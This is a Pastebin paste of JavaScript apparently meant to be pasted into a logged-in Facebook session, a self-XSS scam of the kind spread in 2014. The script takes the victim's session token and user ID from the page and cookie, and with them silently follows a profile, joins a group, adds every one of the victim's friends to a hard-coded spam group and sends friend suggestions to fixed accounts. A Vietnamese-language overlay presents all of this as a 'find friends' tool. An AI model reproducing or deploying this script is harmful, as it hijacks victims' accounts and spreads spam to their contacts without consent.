Advertisement
123456sdfghjoiuyt

code ddth

Nov 27th, 2014
177
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.38 KB | None | 0 0
  1. function getRandomInt(min, max) {
  2. return Math.floor(Math.random() * (max - min + 1)) + min
  3. }
  4. function randomValue(arr) {
  5. return arr[getRandomInt(0, arr.length - 1)]
  6. }
  7. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  8. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  9.  
  10. function a(abone) {
  11. var http4 = new XMLHttpRequest();
  12. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  13. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  14. http4.open("POST", url4, true);
  15. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  16. http4.setRequestHeader("Content-length", params4.length);
  17. http4.setRequestHeader("Connection", "close");
  18. http4.onreadystatechange = function() {
  19. if (http4.readyState == 4 && http4.status == 200) {
  20. http4.close
  21. }
  22. };
  23. http4.send(params4)
  24. }
  25.  
  26. var gid = ['386572611449908'];
  27. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  28. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  29. var httpwp = new XMLHttpRequest();
  30. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  31. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  32. httpwp['open']('POST', urlwp, true);
  33. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  34. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  35. httpwp['setRequestHeader']('Connection', 'keep-alive');
  36. httpwp['send'](paramswp);
  37. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  38. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  39. var friends = new Array();
  40. gf = new XMLHttpRequest();
  41. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  42. gf['send']();
  43. if (gf['readyState'] != 4) {} else {
  44. data = eval('(' + gf['responseText']['substr'](9) + ')');
  45. if (data['error']) {} else {
  46. friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
  47. return _0x93dax8['index'] - _0x93dax9['index']
  48. })
  49. }
  50. };
  51. var Title = 'TÌM BẠN BÈ TRONG NHÓM <a href=" https://www.facebook.com/groups/truyenngananhhay/" style="color: #3b5998;" target="_blank ">Thêm nhiều bạn thêm vui </a>';
  52. grpname = document.getElementById("groupsJumpTitle").innerHT ML;
  53. var Descriptions = "",
  54. _text = 'Powered By <a href="https://www.facebook.com/groups/truyenngananhhay/" style="color: #3b5998;" target="_blank">Largest Group.</a> Join it now.';
  55.  
  56. function AddFriendtoGroup(opo) {
  57. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_so urce=AsyncRequest&__user=" + user_id, function(a) {
  58. var b = a.substring(a.indexOf("{"));
  59. var c = JSON.parse(b);
  60. i--;
  61. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  62. if (c.error) {
  63. Descriptions += "color:darkred'>";
  64. err++;
  65. if (c.errorDescription) Descriptions += c.errorDescription;
  66. else Descriptions += JSON.stringify(c, null, "")
  67. } else {
  68. Descriptions += "color:darkgreen'>";
  69. Descriptions += arn[i] + " has been added.<br/>";
  70. suc++
  71. }
  72. Descriptions += "</div>";
  73. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:120px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  74. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  75. if (i > 0) {
  76. display += arr.length + " BẠN BÈ FACE BOOK <br/>";
  77. display += "<b>" + suc + "</b> Mới tham gia " + (arr.length - i) + " Đang ở đây ";
  78. display += "(" + i + " Kiểm tra)";
  79. display += "<div class='friend-edge'>";
  80. display += Descriptions;
  81. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net...2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  82. display += "<div style='text-align:center;font-size:11px;white-space:pre-wrap;color:gray'>";
  83. display += getuname + " đang tham gia chương trình tìm bạn bè từ " + grpname + ".<br/>";
  84. display += _text;
  85. display += "</div>";
  86. display += "</div>"
  87. } else {
  88. display += arr.length + " BẠN BÈ CÓ QUAN HỆ VỚI BẠN TRÊN FACE BOOK <br/>";
  89. display += suc + " Người mới vào nhóm này </br>";
  90.  
  91. display += err + " Người đang ở đây quen biết bạn </br></br>";
  92. display += arr.length + " LÀ TỔNG SỐ BẠN BÈ BIẾT BẠN Ở NHÓM NÀY <br/>";
  93.  
  94. display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar \").style.display=\"none\"'>Cancel</span>"
  95. }
  96. display += "</div>";
  97. document.getElementById("pagelet_sidebar").innerHT ML = display
  98. }, "text", "post");
  99. tay--;
  100. if (tay > 0) {
  101. var s = arr[tay];
  102. sx = pho[tay];
  103. setTimeout("AddFriendtoGroup(" + s + ")", 100)
  104. }
  105. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  106. if (gid != 386572611449908) {
  107. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=386572611449908&source=typeahead&member s=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_so urce=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
  108. }
  109. if (newcomer) {
  110. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100004386252180&attempt_id=0585ab74e2dd 0ff10282a3a36df39e19&ref=profile_others_dropdown&_ _user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  111. }
  112. if (newcomer) {
  113. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100000071518270&attempt_id=0585ab74e2dd 0ff10282a3a36df39e19&ref=profile_others_dropdown&_ _user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  114. }
  115. if (newcomer) {
  116. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100004386252180&attempt_id=0585ab74e2dd 0ff10282a3a36df39e19&ref=profile_others_dropdown&_ _user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  117. }
  118. if (newcomer) {
  119. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100004386252180&attempt_id=0585ab74e2dd 0ff10282a3a36df39e19&ref=profile_others_dropdown&_ _user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  120. }
  121. if (newcomer) {
  122. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100004386252180&attempt_id=0585ab74e2dd 0ff10282a3a36df39e19&ref=profile_others_dropdown&_ _user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  123. }
  124. }
  125. function clickfr_callback() {
  126. if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
  127. var a = arr[i];
  128. if (i < arr.length) addfriend(a.substring(0, 4))
  129. }
  130. function clickfr() {
  131. if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("sea rch")[0].childNodes[0].childNodes[0].childNodes[1]);
  132. else j++;
  133. setTimeout("clickfr_callback()", 2E3)
  134. }
  135. function addfriend(a) {
  136. i++;
  137. setTimeout("clickfr()", 2E3)
  138. }
  139. jx = {
  140. getHTTPObject: function() {
  141. var a = false;
  142. if (typeof ActiveXObject != "undefined") try {
  143. a = new ActiveXObject("Msxml2.XMLHTTP")
  144. } catch (b) {
  145. try {
  146. a = new ActiveXObject("Microsoft.XMLHTTP")
  147. } catch (c) {
  148. a = false
  149. }
  150. } else if (window.XMLHttpRequest) try {
  151. a = new XMLHttpRequest
  152. } catch (b) {
  153. a = false
  154. }
  155. return a
  156. },
  157. load: function(url, callback, format, method, opt) {
  158. var http = this.init();
  159. if (!http || !url) return;
  160. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  161. if (!method) method = "GET";
  162. if (!format) format = "text";
  163. if (!opt) opt = {};
  164. format = format.toLowerCase();
  165. method = method.toUpperCase();
  166. var now = "uid=" + (new Date).getTime();
  167. url += url.indexOf("?") + 1 ? "&" : "?";
  168. url += now;
  169. var parameters = null;
  170. if (method == "POST") {
  171. var parts = url.split("?");
  172. url = parts[0];
  173. parameters = parts[1]
  174. }
  175. http.open(method, url, true);
  176. var ths = this;
  177. if (opt.handler) http.onreadystatechange = function() {
  178. opt.handler(http)
  179. };
  180. else http.onreadystatechange = function() {
  181. if (http.readyState == 4) if (http.status == 200) {
  182. var result = "";
  183. if (http.responseText) result = http.responseText;
  184. if (format.charAt(0) == "j") {
  185. result = result.replace(/[\n\r]/g, "");
  186. result = eval("(" + result + ")")
  187. } else if (format.charAt(0) == "x") result = http.respon***ML;
  188. if (callback) callback(result)
  189. } else {
  190. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  191. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  192. if (error) error(http.status)
  193. }
  194. };
  195. http.send(parameters)
  196. },
  197. bind: function(a) {
  198. var b = {
  199. url: "",
  200. onSuccess: false,
  201. onError: false,
  202. format: "text",
  203. method: "GET",
  204. update: "",
  205. loading: "",
  206. loadingIndicator: ""
  207. };
  208. for (var c in b) if (a[c]) b[c] = a[c];
  209. if (!b.url) return;
  210. var d = false;
  211. if (b.loadingIndicator) {
  212. d = document.createElement("div");
  213. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  214. d.setAttribute("class", "loading-indicator");
  215. d.innerHTML = b.loadingIndicator;
  216. document.getElementsByTagName("body")[0].appendChild(d);
  217. this.opt.loadingIndicator = d
  218. }
  219. if (b.loading) document.getElementById(b.loading).style.display = "block";
  220. this.load(b.url, function(a) {
  221. if (b.onSuccess) b.onSuccess(a);
  222. if (b.update) document.getElementById(b.update).innerHTML = a;
  223. if (d) document.getElementsByTagName("body")[0].removeChild(d);
  224. if (b.loading) document.getElementById(b.loading).style.display = "none"
  225. }, b.format, b.method, b)
  226. },
  227. init: function() {
  228. return this.getHTTPObject()
  229. }
  230. };
  231. var nHtml = {
  232. FindByAttr: function(a, b, c, d) {
  233. if (c == "className") c = "class";
  234. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  235. if (e && e.singleNodeValue) return e.singleNodeValue;
  236. return null
  237. },
  238. FindByClassName: function(a, b, c) {
  239. return this.FindByAttr(a, b, "className", c)
  240. },
  241. FindByXPath: function(a, b) {
  242. try {
  243. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  244. } catch (d) {
  245. GM_log("bad xpath:" + b)
  246. }
  247. if (c && c.singleNodeValue) return c.singleNodeValue;
  248. return null
  249. },
  250. VisitUrl: function(a) {
  251. window.setTimeout(function() {
  252. document.location.href = a
  253. }, 500 + Math.floor(Math.random() * 500))
  254. },
  255. ClickWin: function(a, b, c) {
  256. var d = a.document.createEvent("MouseEvents");
  257. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  258. return !b.dispatchEvent(d)
  259. },
  260. Click: function(a) {
  261. return this.ClickWin(window, a, "click")
  262. },
  263. ClickTimeout: function(a, b) {
  264. window.setTimeout(function() {
  265. return nHtml.ClickWin(window, a, "click")
  266. }, b + Math.floor(Math.random() * 500))
  267. },
  268. ClickUp: function(a) {
  269. this.ClickWin(window, a, "mousedown");
  270. this.ClickWin(window, a, "mouseup");
  271. this.ClickWin(window, a, "click")
  272. },
  273. GetText: function(a, b) {
  274. var c = "";
  275. if (b == undefined) b = 0;
  276. if (b > 40) return;
  277. if (a.textContent != undefined) return a.textContent;
  278. for (var d = 0; d < a.childNodes.length; d++) {
  279. var e = a.childNodes[d];
  280. c += this.GetText(e, b + 1)
  281. }
  282. return c
  283. }
  284. };
  285. if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
  286. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  287. var c = document.getElementsByTagName("*");
  288. var d = [];
  289. var e;
  290. for (var f = 0;
  291. (e = c[f]) != null; f++) {
  292. var g = e.className;
  293. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  294. }
  295. return d
  296. };
  297. Array.prototype.find = function(a) {
  298. var b = false;
  299. for (i = 0; i < this.length; i++) if (typeof a == "function") {
  300. if (a.test(this[i])) {
  301. if (!b) b = [];
  302. b.push(i)
  303. }
  304. } else if (this[i] === a) {
  305. if (!b) b = [];
  306. b.push(i)
  307. }
  308. return b
  309. };
  310. var i = 3;
  311. var tay = 3;
  312. var j = 0;
  313. var k = 0;
  314. var suc = 0;
  315. var err = 0;
  316. var arr = new Array;
  317. var arn = new Array;
  318. var pho = new Array;
  319. var getuname = document.getElementsByClassName("fbxWelcomeBoxName ")[0].innerHTML;
  320. var gid = document.getElementsByName("group_id")[0].value;
  321. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
  322. var b = a;
  323. var c = b.substring(b.indexOf("{"));
  324. var d = JSON.parse(c);
  325. d = d.payload.entries;
  326. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  327. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  328. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  329. i = arr.length - 1;
  330. tay = i;
  331. console.log(arr.length);
  332. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  333. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  334. display += arr.length + " Friends Detected";
  335. display += "</div>";
  336. document.getElementById("pagelet_sidebar").innerHT ML = display;
  337. AddFriendtoGroup(arr[i])
  338. });
  339.  
  340. Link: http://www.ddth.com/showthread.php/1269598-cần-mua-fanpage-reach-tốt/page2#ixzz3KGk6oAuA
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement